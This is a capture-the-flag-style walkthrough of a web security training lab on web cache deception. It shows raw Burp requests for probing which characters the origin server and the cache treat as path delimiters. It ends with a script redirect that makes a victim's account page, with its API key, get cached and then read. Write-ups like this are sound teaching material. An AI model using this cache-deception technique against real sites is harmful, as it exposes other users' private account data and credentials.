Lab: Exploiting path delimiters for web cache deception
Identify a target endpoint
Once we have successfully logged in to the exercise, the blog should look like the following image. We click on the link “My account” and log in to the application with the user name wiener
and the password peter
.

The completed login form looks like this.

We now see the account data of the user wiener
. In addition to his user name, we also see his API key.

Identify path delimiters used by the origin server
We now switch to the Burp Proxy and open the “HTTP history” tab there. In the “HTTP history”, search for the request GET /my-account
and send it to Burp Repeater.

To send the request to Burp Repeater, move the mouse over the request and press the right mouse button. A context menu appears in which we select the option "Send to Repeater".

We now switch to the Burp Repeater and insert any character string in the first line. The request could look like this.
GET /my-account/abc HTTP/2
Host: 0a2e000d032dc9b18031034d00830065.web-security-academy.net
Cookie: session=f2o58mwtCbnZW6iHE01RFLyN9ZyT4rOQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2e000d032dc9b18031034d00830065.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
We now send the request to the application and receive the following response.
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 11
"Not Found"
As we can see, our sent path could not be found on the server. We also do not receive any information about whether data is delivered by caches. This means that the origin server does not abstract the path to /my-account
.
Now we remove our appended string and add it to the origin path. The GET /my-account/abc
now becomes GET /my-accountabc
. The request should now look like this.
GET /my-accountabc HTTP/2
Host: 0a2e000d032dc9b18031034d00830065.web-security-academy.net
Cookie: session=f2o58mwtCbnZW6iHE01RFLyN9ZyT4rOQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2e000d032dc9b18031034d00830065.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
We send the request to the application and receive the same response as from the previous attempt.
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 11
"Not Found"
However, we will use this request as a reference to identify characters that are not used as separators. To do this, we send it to Burp Intruder. We move the mouse over the query and press the right mouse button, in the context menu we select the option “Send to Intruder”.

Now switch to the Burp Intruder and check whether the attack type is set to “Sniper attack”. This should be the case if you have restarted Burp for this exercise, as this is the default setting.

Now we insert a payload position in our path. To do this, click with the mouse between /my-account
and abc
and click on the "Add" button.

In the next step, we go back to the start page of this exercise and copy the list of limiters.


Now we go back to Burp Intruder and click on the "Paste" button under "Payload configuration" in the "Payload" section. This will paste the limiters we just copied as values for our attack.

In the "Payload encoding" subsection, we still need to deactivate the "URL-encode these characters" checkbox.

Now we start the attack by clicking on the “Start attack” button.

After completion, we sort the output by clicking on the "Status code" column. There we see that the two delimiters ;
and ?
have been given a status code of 200. All other characters have received a 404.

Investigate path delimiter discrepancies
We switch to the Burp Repeater and add ?
to our path and at the same time refer to the static resource abc.js
. The request should look like this:
GET /my-account?abc.js HTTP/2
Host: 0af2000a031a60cf83c88dd8002f004a.web-security-academy.net
Cookie: session=2MkPQDwnnmKwnOritPUgXl3y6d49RY81
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
If we now send this request, we do not receive any information about caching in the response. This may indicate that the cache also uses ?
as a path delimiter. The following response is somewhat shortened, but does not show any relevant caching headers.
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 3833
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>Exploiting path delimiters for web cache deception</title>
</head>
<body>
<script type="text/javascript" src="/resources/js/tracking.js"></script>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting path delimiters for web cache deception
...
Now we change the delimiter from ?
to ;
and send the request again. The customized request looks like this.
GET /my-account;abc.js HTTP/2
Host: 0af2000a031a60cf83c88dd8002f004a.web-security-academy.net
Cookie: session=2MkPQDwnnmKwnOritPUgXl3y6d49RY81
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
In the response, we now see caching headers Cache-Control
and X-Cache
.
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833
...
We see that the value of the header is X-Cache: miss
. This means that the resource is not yet in the cache, if we send the request again, we get the header X-Cache: hit
. This means that the cache does not use ;
as a path delimiter and has a cache rule based on the static extension .js
. This payload can be used for an exploit.
Craft an exploit
In the browser, we now switch to the Exploit Server by clicking on the “Go to exploit server” button on the start page.

In the Exploit Server, we scroll down to the “Body” section.

Here we now insert an exploit that redirects the user carlos
to our malicious URL created earlier. To do this, we use the following HTML/JavaScript code.
<script>document.location="https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/my-account;abc.js"</script>
After everything has been adjusted, we now click on the "Deliver exploit to victim" button and paste the address from our exploit into a new tab in the browser.

https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/my-account;abc.js
We now see the account of the user carlos
.

We now copy the API key iGj3hebIQ6pXX32Cfz816qmFJ43UKve6
from carlos
and click on the "Submit solution" button.

A window opens in which we enter the API key.

We have successfully completed the exercise.

Video solution
Last updated